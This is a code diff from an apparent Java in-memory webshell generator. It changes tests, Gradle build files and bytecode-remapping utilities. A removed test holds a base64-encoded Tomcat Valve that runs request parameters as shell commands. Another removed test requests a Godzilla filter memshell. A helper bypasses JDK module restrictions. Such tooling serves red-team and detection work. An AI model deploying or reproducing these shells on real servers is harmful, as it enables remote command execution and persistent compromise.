||||||
-18
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/11/10
|
|
||||||
*/
|
|
||||||
class ClassNameParseControllerTest {
|
|
||||||
@Test
|
|
||||||
void test(){
|
|
||||||
ClassNameParseController classNameParseController = new ClassNameParseController();
|
|
||||||
String className = classNameParseController.className("yv66vgAAADIAiAEALG9yZy9hcGFjaGUvaHR0cC93ZWIvaGFuZGxlcnMvSUZOdnAvQXV0aFZhbHZlBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEAGW9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmUHAAUBAAlwYXJhbU5hbWUBABJMamF2YS9sYW5nL1N0cmluZzsBAAhndmR1amx2YwgACQEABG5leHQBABtMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsBAAY8aW5pdD4BAAMoKVYMAA0ADgoABAAPAQAGaW52b2tlAQBSKExvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXF1ZXN0O0xvcmcvYXBhY2hlL2NhdGFsaW5hL2Nvbm5lY3Rvci9SZXNwb25zZTspVgEAE2phdmEvaW8vSU9FeGNlcHRpb24HABMBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24HABUBABNqYXZhL2xhbmcvVGhyb3dhYmxlBwAXDAAHAAgJAAIAGQEAJW9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1JlcXVlc3QHABsBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwwAHQAeCgAcAB8BAAhnZXRQYXJhbQwAIQAeCgACACIBAA5nZXRJbnB1dFN0cmVhbQEAKShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvaW8vSW5wdXRTdHJlYW07DAAkACUKAAIAJgEAJm9yZy9hcGFjaGUvY2F0YWxpbmEvY29ubmVjdG9yL1Jlc3BvbnNlBwAoAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsMACoAKwoAKQAsAQARamF2YS91dGlsL1NjYW5uZXIHAC4BABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYMAA0AMAoALwAxAQACXEEIADMBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsMADUANgoALwA3AQAUKClMamF2YS9sYW5nL1N0cmluZzsMAAsAOQoALwA6AQATamF2YS9pby9QcmludFdyaXRlcgcAPAEABXdyaXRlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWDAA+AD8KAD0AQAEAD3ByaW50U3RhY2tUcmFjZQwAQgAOCgAYAEMBAAdnZXROZXh0AQAdKClMb3JnL2FwYWNoZS9jYXRhbGluYS9WYWx2ZTsMAEUARgoAAgBHDAARABILAAYASQEAE2phdmEvbGFuZy9FeGNlcHRpb24HAEsBABBqYXZhL2xhbmcvU3RyaW5nBwBNAQATamF2YS9pby9JbnB1dFN0cmVhbQcATwEAB29zLm5hbWUIAFEBABBqYXZhL2xhbmcvU3lzdGVtBwBTAQALZ2V0UHJvcGVydHkMAFUAHgoAVABWAQALdG9Mb3dlckNhc2UMAFgAOQoATgBZAQAGd2luZG93CABbAQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoMAF0AXgoATgBfAQAHY21kLmV4ZQgAYQEAAi9jCABjAQAHL2Jpbi9zaAgAZQEAAi1jCABnAQATW0xqYXZhL2xhbmcvU3RyaW5nOwcAaQEAGGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcgcAawEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYMAA0AbQoAbABuAQATcmVkaXJlY3RFcnJvclN0cmVhbQEAHShaKUxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7DABwAHEKAGwAcgEABXN0YXJ0AQAVKClMamF2YS9sYW5nL1Byb2Nlc3M7DAB0AHUKAGwAdgEAEWphdmEvbGFuZy9Qcm9jZXNzBwB4AQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsMACQAegoAeQB7DAALAAwJAAIAfQEAB3NldE5leHQBAB4oTG9yZy9hcGFjaGUvY2F0YWxpbmEvVmFsdmU7KVYBABBpc0FzeW5jU3VwcG9ydGVkAQADKClaAQARYmFja2dyb3VuZFByb2Nlc3MBAA1Db25zdGFudFZhbHVlAQAEQ29kZQEADVN0YWNrTWFwVGFibGUBAApFeGNlcHRpb25zACEAAgAEAAEABgACAAgABwAIAAEAhAAAAAIACgAAAAsADAAAAAgAAQANAA4AAQCFAAAAEQABAAEAAAAFKrcAELEAAAAAAAEAEQASAAIAhQAAAGYABAAFAAAARCorsgAatgAgtwAjTi3GACMqLbcAJzoELLYALbsAL1kZBLcAMhI0tgA4tgA7tgBBsacACE4ttgBEKrYASCssuQBKAwCxAAEAAAAvADMAGAABAIYAAAAIAAMwQgcAGAQAhwAAAAYAAgAUABYAAgAhAB4AAQCFAAAADgABAAIAAAACK7AAAAAAAAIAJAAlAAIAhQAAAJMABAAEAAAAWipNK04AAacAA00SUrgAV7YAWhJctgBgmQAYBr0ATlkDEmJTWQQSZFNZBStTpwAVBr0ATlkDEmZTWQQSaFNZBStTTrsAbFkttwBvBLYAc7YAd7YAfE2nAAMssAAAAAEAhgAAACcABv0ABAcAAgcATv8ABAACBwACBwBOAAEHAFD8AAAHAFAkUQcAahYAhwAAAAQAAQBMAAEARQBGAAEAhQAAABEAAQABAAAABSq0AH6wAAAAAAABAH8AgAABAIUAAAASAAIAAgAAAAYqK7UAfrEAAAAAAAEAgQCCAAEAhQAAAA4AAQABAAAAAgOsAAAAAAABAIMADgABAIUAAAANAAAAAQAAAAGxAAAAAAAA");
|
|
||||||
assertEquals("org.apache.http.web.handlers.IFNvp.AuthValve", className);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+12
-63
@@ -1,18 +1,12 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
package com.reajason.javaweb.boot.controller;
|
||||||
|
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
import com.reajason.javaweb.boot.entity.Config;
|
||||||
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
import org.junit.jupiter.api.Test;
|
||||||
|
import org.springframework.beans.factory.annotation.Autowired;
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
import org.springframework.boot.test.context.SpringBootTest;
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
import org.springframework.boot.test.web.client.TestRestTemplate;
|
||||||
import org.springframework.core.ParameterizedTypeReference;
|
|
||||||
import org.springframework.http.HttpStatus;
|
import org.springframework.http.HttpStatus;
|
||||||
import org.springframework.http.ResponseEntity;
|
import org.springframework.http.ResponseEntity;
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
import static org.junit.jupiter.api.Assertions.assertEquals;
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
||||||
@@ -25,64 +19,19 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
||||||
public class ConfigControllerIntegrationTest {
|
public class ConfigControllerIntegrationTest {
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
|
@Autowired
|
||||||
};
|
private TestRestTemplate restTemplate;
|
||||||
|
|
||||||
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
|
|
||||||
};
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
@Test
|
||||||
public void testConfigEndpoint() {
|
public void testConfigEndpoint() {
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
ResponseEntity<Config> response = restTemplate.getForEntity("/config", Config.class);
|
||||||
.uri("/api/config")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
public void testConfigServersEndpoint() {
|
|
||||||
ResponseEntity<Map<String, Object>> response = restClient.get()
|
|
||||||
.uri("/api/config/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MAP_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
assertEquals(HttpStatus.OK, response.getStatusCode());
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
Config config = response.getBody();
|
||||||
public void testConfigPackersEndpoint() {
|
assertNotNull(config);
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
assertNotNull(config.getServers());
|
||||||
.uri("/api/config/packers")
|
assertNotNull(config.getCore());
|
||||||
.retrieve()
|
assertNotNull(config.getPackers());
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
}
|
||||||
|
}
|
||||||
@Test
|
|
||||||
public void testConfigProbeResponseBodyServersEndpoint() {
|
|
||||||
ResponseEntity<List<String>> response = restClient.get()
|
|
||||||
.uri("/api/config/probe/response-body/servers")
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(STRING_LIST_TYPE);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
assertEquals(ResponseBodyGenerator.getSupportedServers(), response.getBody());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
-71
@@ -1,71 +0,0 @@
|
|||||||
package com.reajason.javaweb.boot.controller;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateRequest;
|
|
||||||
import com.reajason.javaweb.boot.dto.MemShellGenerateResponse;
|
|
||||||
import com.reajason.javaweb.memshell.ShellTool;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.InjectorConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.packer.Packers;
|
|
||||||
import org.junit.jupiter.api.BeforeEach;
|
|
||||||
import org.junit.jupiter.api.Test;
|
|
||||||
import org.springframework.boot.test.context.SpringBootTest;
|
|
||||||
import org.springframework.boot.test.web.server.LocalServerPort;
|
|
||||||
import org.springframework.http.HttpStatus;
|
|
||||||
import org.springframework.http.ResponseEntity;
|
|
||||||
import org.springframework.web.client.RestClient;
|
|
||||||
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertEquals;
|
|
||||||
import static org.junit.jupiter.api.Assertions.assertNotNull;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/9/16
|
|
||||||
*/
|
|
||||||
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
|
|
||||||
class MemShellGeneratorControllerTest {
|
|
||||||
|
|
||||||
@LocalServerPort
|
|
||||||
private int port;
|
|
||||||
|
|
||||||
private RestClient restClient;
|
|
||||||
|
|
||||||
@BeforeEach
|
|
||||||
void setUp() {
|
|
||||||
restClient = RestClient.builder()
|
|
||||||
.baseUrl("http://localhost:" + port)
|
|
||||||
.build();
|
|
||||||
}
|
|
||||||
|
|
||||||
@Test
|
|
||||||
void generateShell() {
|
|
||||||
MemShellGenerateRequest request = new MemShellGenerateRequest();
|
|
||||||
request.setShellConfig(ShellConfig.builder()
|
|
||||||
.server(Server.Tomcat)
|
|
||||||
.shellType(ShellType.FILTER)
|
|
||||||
.shellTool(ShellTool.Godzilla)
|
|
||||||
.shrink(true)
|
|
||||||
.debug(true)
|
|
||||||
.serverVersion("Unknown")
|
|
||||||
.targetJreVersion(50)
|
|
||||||
.build());
|
|
||||||
request.setInjectorConfig(InjectorConfig.builder()
|
|
||||||
.urlPattern("/*")
|
|
||||||
.build());
|
|
||||||
request.setPacker(Packers.ScriptEngine);
|
|
||||||
MemShellGenerateRequest.ShellToolConfigDTO shellToolConfigDTO = new MemShellGenerateRequest.ShellToolConfigDTO();
|
|
||||||
shellToolConfigDTO.setGodzillaKey("key");
|
|
||||||
shellToolConfigDTO.setGodzillaPass("pass");
|
|
||||||
shellToolConfigDTO.setHeaderName("User-Agent");
|
|
||||||
shellToolConfigDTO.setHeaderValue("hello");
|
|
||||||
request.setShellToolConfig(shellToolConfigDTO);
|
|
||||||
ResponseEntity<MemShellGenerateResponse> response = restClient.post()
|
|
||||||
.uri("/api/memshell/generate")
|
|
||||||
.body(request)
|
|
||||||
.retrieve()
|
|
||||||
.toEntity(MemShellGenerateResponse.class);
|
|
||||||
assertEquals(HttpStatus.OK, response.getStatusCode());
|
|
||||||
assertNotNull(response.getBody());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,11 +0,0 @@
|
|||||||
plugins {
|
|
||||||
`kotlin-dsl`
|
|
||||||
}
|
|
||||||
|
|
||||||
repositories {
|
|
||||||
mavenCentral()
|
|
||||||
}
|
|
||||||
|
|
||||||
dependencies {
|
|
||||||
implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
|
|
||||||
}
|
|
||||||
@@ -1 +0,0 @@
|
|||||||
rootProject.name = "build-logic"
|
|
||||||
@@ -1,38 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("com.vanniktech.maven.publish")
|
|
||||||
}
|
|
||||||
|
|
||||||
mavenPublishing {
|
|
||||||
publishToMavenCentral(automaticRelease = true, validateDeployment = true)
|
|
||||||
signAllPublications()
|
|
||||||
coordinates(
|
|
||||||
"io.github.reajason",
|
|
||||||
project.name,
|
|
||||||
rootProject.version as String
|
|
||||||
)
|
|
||||||
|
|
||||||
pom {
|
|
||||||
name.set("MemShellParty")
|
|
||||||
description.set(project.description)
|
|
||||||
url.set("https://github.com/ReaJason/MemShellParty")
|
|
||||||
inceptionYear.set("2025")
|
|
||||||
licenses {
|
|
||||||
license {
|
|
||||||
name.set("MIT")
|
|
||||||
url.set("https://spdx.org/licenses/MIT.html")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
developers {
|
|
||||||
developer {
|
|
||||||
id.set("reajason")
|
|
||||||
name.set("ReaJason")
|
|
||||||
url.set("https://reajason.eu.org")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
scm {
|
|
||||||
connection.set("scm:git:https://github.com/ReaJason/MemShellParty.git")
|
|
||||||
developerConnection.set("scm:git:ssh://github.com/ReaJason/MemShellParty.git")
|
|
||||||
url.set("https://github.com/ReaJason/MemShellParty")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
version = project.getProperties().get("version") != "unspecified" ? version : '1.0.0'
|
||||||
|
|
||||||
|
allprojects {
|
||||||
|
if (it.name != 'bom') {
|
||||||
|
apply(plugin: 'java')
|
||||||
|
apply(plugin: 'idea')
|
||||||
|
apply(plugin: 'jacoco')
|
||||||
|
}
|
||||||
|
|
||||||
|
if (it.name != 'bom' && !it.name.startsWith("vul")) {
|
||||||
|
dependencies {
|
||||||
|
implementation platform(project(':bom'))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
idea {
|
||||||
|
module {
|
||||||
|
excludeDirs += file('src')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
jacocoTestReport {
|
||||||
|
reports {
|
||||||
|
xml.required = true
|
||||||
|
csv.required = true
|
||||||
|
html.required = true
|
||||||
|
}
|
||||||
|
afterEvaluate {
|
||||||
|
executionData.from fileTree(rootDir) {
|
||||||
|
include '**/build/jacoco/**/*.exec'
|
||||||
|
}
|
||||||
|
|
||||||
|
sourceDirectories = files('generator/src/main/java')
|
||||||
|
|
||||||
|
classDirectories.from(
|
||||||
|
fileTree('generator/build/classes/java/main') {
|
||||||
|
excludes = [
|
||||||
|
'com/reajason/javaweb/memsell/**/godzilla/**',
|
||||||
|
'com/reajason/javaweb/memsell/**/injector/**',
|
||||||
|
'com/reajason/javaweb/memsell/**/command/**',
|
||||||
|
'com/reajason/javaweb/config/**'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,24 +0,0 @@
|
|||||||
plugins {
|
|
||||||
id("java")
|
|
||||||
id("idea")
|
|
||||||
}
|
|
||||||
|
|
||||||
idea {
|
|
||||||
module {
|
|
||||||
excludeDirs.add(file("src"))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
version = "2.10.0"
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenCentral") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenCentral")
|
|
||||||
dependsOn(":packer:publishToMavenCentral")
|
|
||||||
dependsOn(":generator:publishToMavenCentral")
|
|
||||||
}
|
|
||||||
|
|
||||||
tasks.register("publishAllToMavenLocal") {
|
|
||||||
dependsOn(":memshell-party-common:publishToMavenLocal")
|
|
||||||
dependsOn(":packer:publishToMavenLocal")
|
|
||||||
dependsOn(":generator:publishToMavenLocal")
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
plugins {
|
||||||
|
id "io.freefair.lombok" version "8.11"
|
||||||
|
}
|
||||||
|
|
||||||
|
group = 'com.reajason.javaweb'
|
||||||
|
version = rootProject.version
|
||||||
|
|
||||||
|
java {
|
||||||
|
sourceCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
targetCompatibility = JavaVersion.VERSION_1_8
|
||||||
|
}
|
||||||
|
|
||||||
|
dependencies {
|
||||||
|
implementation 'net.bytebuddy:byte-buddy'
|
||||||
|
implementation 'org.ow2.asm:asm-commons'
|
||||||
|
implementation 'commons-io:commons-io'
|
||||||
|
implementation 'org.apache.commons:commons-lang3'
|
||||||
|
implementation 'commons-codec:commons-codec'
|
||||||
|
implementation 'org.jetbrains:annotations'
|
||||||
|
testImplementation platform('org.junit:junit-bom')
|
||||||
|
testImplementation 'org.junit.jupiter:junit-jupiter'
|
||||||
|
testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
|
||||||
|
testImplementation "org.mockito:mockito-core"
|
||||||
|
}
|
||||||
|
|
||||||
|
test {
|
||||||
|
useJUnitPlatform()
|
||||||
|
}
|
||||||
+4
-4
@@ -1,9 +1,9 @@
|
|||||||
package com.reajason.javaweb;
|
package com.reajason.javaweb;
|
||||||
|
|
||||||
import org.objectweb.asm.ClassReader;
|
import net.bytebuddy.jar.asm.ClassReader;
|
||||||
import org.objectweb.asm.ClassVisitor;
|
import net.bytebuddy.jar.asm.ClassVisitor;
|
||||||
import org.objectweb.asm.ClassWriter;
|
import net.bytebuddy.jar.asm.ClassWriter;
|
||||||
import org.objectweb.asm.Opcodes;
|
import net.bytebuddy.jar.asm.Opcodes;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
+15
-35
@@ -1,9 +1,7 @@
|
|||||||
package com.reajason.javaweb.asm;
|
package com.reajason.javaweb.asm;
|
||||||
|
|
||||||
import org.jetbrains.annotations.NotNull;
|
|
||||||
import org.objectweb.asm.ClassReader;
|
import org.objectweb.asm.ClassReader;
|
||||||
import org.objectweb.asm.ClassWriter;
|
import org.objectweb.asm.ClassWriter;
|
||||||
import org.objectweb.asm.Opcodes;
|
|
||||||
import org.objectweb.asm.commons.ClassRemapper;
|
import org.objectweb.asm.commons.ClassRemapper;
|
||||||
import org.objectweb.asm.commons.Remapper;
|
import org.objectweb.asm.commons.Remapper;
|
||||||
import org.objectweb.asm.commons.SimpleRemapper;
|
import org.objectweb.asm.commons.SimpleRemapper;
|
||||||
@@ -15,21 +13,31 @@ import org.objectweb.asm.commons.SimpleRemapper;
|
|||||||
public class ClassRenameUtils {
|
public class ClassRenameUtils {
|
||||||
|
|
||||||
public static byte[] renameClass(byte[] classBytes, String newName) {
|
public static byte[] renameClass(byte[] classBytes, String newName) {
|
||||||
ClassReader reader = getClassReader(classBytes);
|
ClassReader reader = null;
|
||||||
|
try {
|
||||||
|
reader = new ClassReader(classBytes);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("invalid class bytes");
|
||||||
|
}
|
||||||
String oldClassName = reader.getClassName();
|
String oldClassName = reader.getClassName();
|
||||||
String newClassName = newName.replace('.', '/');
|
String newClassName = newName.replace('.', '/');
|
||||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||||
ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(Opcodes.ASM9, oldClassName, newClassName));
|
ClassRemapper adapter = new ClassRemapper(writer, new SimpleRemapper(oldClassName, newClassName));
|
||||||
reader.accept(adapter, 0);
|
reader.accept(adapter, 0);
|
||||||
return writer.toByteArray();
|
return writer.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
|
public static byte[] relocateClass(byte[] classBytes, String relocateClassPackage, String relocatePrefix) {
|
||||||
ClassReader reader = getClassReader(classBytes);
|
ClassReader reader = null;
|
||||||
|
try {
|
||||||
|
reader = new ClassReader(classBytes);
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException("invalid class bytes");
|
||||||
|
}
|
||||||
String oldClassName = relocateClassPackage.replace('.', '/');
|
String oldClassName = relocateClassPackage.replace('.', '/');
|
||||||
String newClassName = relocatePrefix.replace('.', '/');
|
String newClassName = relocatePrefix.replace('.', '/');
|
||||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
|
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS | ClassWriter.COMPUTE_FRAMES);
|
||||||
ClassRemapper adapter = new ClassRemapper(writer, new Remapper(Opcodes.ASM9) {
|
ClassRemapper adapter = new ClassRemapper(writer, new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
if (typeName.startsWith(oldClassName)) {
|
if (typeName.startsWith(oldClassName)) {
|
||||||
@@ -42,32 +50,4 @@ public class ClassRenameUtils {
|
|||||||
reader.accept(adapter, 0);
|
reader.accept(adapter, 0);
|
||||||
return writer.toByteArray();
|
return writer.toByteArray();
|
||||||
}
|
}
|
||||||
|
|
||||||
public static byte[] relocateJakarta(byte[] classBytes) {
|
|
||||||
ClassReader reader = getClassReader(classBytes);
|
|
||||||
ClassWriter writer = new ClassWriter(reader, ClassWriter.COMPUTE_MAXS);
|
|
||||||
ClassRemapper adapter = new ClassRemapper(writer, new Remapper(Opcodes.ASM9) {
|
|
||||||
@Override
|
|
||||||
public String map(String typeName) {
|
|
||||||
if (typeName.startsWith("javax/servlet/")
|
|
||||||
|| typeName.startsWith("javax/websocket/")) {
|
|
||||||
return typeName.replaceFirst("javax", "jakarta");
|
|
||||||
} else {
|
|
||||||
return typeName;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
});
|
|
||||||
reader.accept(adapter, 0);
|
|
||||||
return writer.toByteArray();
|
|
||||||
}
|
|
||||||
|
|
||||||
private static @NotNull ClassReader getClassReader(byte[] classBytes) {
|
|
||||||
ClassReader reader = null;
|
|
||||||
try {
|
|
||||||
reader = new ClassReader(classBytes);
|
|
||||||
} catch (Exception e) {
|
|
||||||
throw new RuntimeException("invalid class bytes");
|
|
||||||
}
|
|
||||||
return reader;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
+15
-3
@@ -5,7 +5,7 @@ import net.bytebuddy.dynamic.DynamicType;
|
|||||||
|
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.isDefaultConstructor;
|
import static net.bytebuddy.matcher.ElementMatchers.isTypeInitializer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
* JDK9 引入的 module 系统,只有主动声明 exports 的才能被外部访问。当前用于打破 module 的限制,使我们能像低版本一样任意反射获取方法
|
||||||
@@ -33,12 +33,24 @@ public class ByPassJavaModuleInterceptor {
|
|||||||
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
* Reference1: <a href="https://stackoverflow.com/questions/62664427/can-i-create-a-bytebuddy-instrumented-type-with-a-private-static-final-methodhan">stackoverflow</a>
|
||||||
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
* Reference2: <a href="https://github.com/raphw/byte-buddy/issues/1153">issue</a>
|
||||||
* <br>
|
* <br>
|
||||||
* 在默认构造方法中执行 byPassJdkModule 代码
|
* 在静态代码块中执行 byPassJdkModule 代码
|
||||||
|
* 值得注意的一点,builder 是不可变类型,所以都是需要重新赋值,例如以下代码示例
|
||||||
|
* # code that not work
|
||||||
|
* builder = new Bytebuddy().redefine(class);
|
||||||
|
* builder.visit(something);
|
||||||
|
* builder.make();
|
||||||
|
* <br>
|
||||||
|
* # code that work
|
||||||
|
* <br>
|
||||||
|
* builder = new Bytebuddy().redefine(class);
|
||||||
|
* builder = builder.visit(something);
|
||||||
|
* builder.make();
|
||||||
|
*
|
||||||
* @param builder bytebuddy builder
|
* @param builder bytebuddy builder
|
||||||
* @return new builder with bypass
|
* @return new builder with bypass
|
||||||
*/
|
*/
|
||||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||||
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
return builder.visit(Advice.to(ByPassJavaModuleInterceptor.class)
|
||||||
.on(isDefaultConstructor()));
|
.on(isTypeInitializer()));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
+2
-4
@@ -51,10 +51,8 @@ public class ClassRenameVisitorWrapper implements AsmVisitorWrapper {
|
|||||||
new Remapper() {
|
new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
if (typeName.equals(originalClassName)) {
|
if (typeName.startsWith(originalClassName)) {
|
||||||
return newClassName;
|
return typeName.replaceFirst(originalClassName, newClassName);
|
||||||
} else if (typeName.startsWith(originalClassName)) {
|
|
||||||
return typeName.replace(originalClassName, newClassName);
|
|
||||||
} else {
|
} else {
|
||||||
return typeName;
|
return typeName;
|
||||||
}
|
}
|
||||||
+3
-3
@@ -18,6 +18,7 @@ import static net.bytebuddy.jar.asm.Opcodes.POP;
|
|||||||
/**
|
/**
|
||||||
* Debug 信息打印移除器
|
* Debug 信息打印移除器
|
||||||
* 目前仅支持移除以下几种
|
* 目前仅支持移除以下几种
|
||||||
|
* <br />
|
||||||
* 1. System.out.println() - (printf 还不支持)
|
* 1. System.out.println() - (printf 还不支持)
|
||||||
* 2. e.printStackTrace()
|
* 2. e.printStackTrace()
|
||||||
* 3. Logger.info (java.util)
|
* 3. Logger.info (java.util)
|
||||||
@@ -30,7 +31,7 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
|
|||||||
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
public static DynamicType.Builder<?> extend(DynamicType.Builder<?> builder) {
|
||||||
return builder.visit(
|
return builder.visit(
|
||||||
new AsmVisitorWrapper.ForDeclaredMethods()
|
new AsmVisitorWrapper.ForDeclaredMethods()
|
||||||
.invokable(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE));
|
||||||
}
|
}
|
||||||
|
|
||||||
@NotNull
|
@NotNull
|
||||||
@@ -46,8 +47,7 @@ public class LogRemoveMethodVisitor implements AsmVisitorWrapper.ForDeclaredMeth
|
|||||||
@Override
|
@Override
|
||||||
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
public void visitMethodInsn(int opcode, String owner, String name, String descriptor, boolean isInterface) {
|
||||||
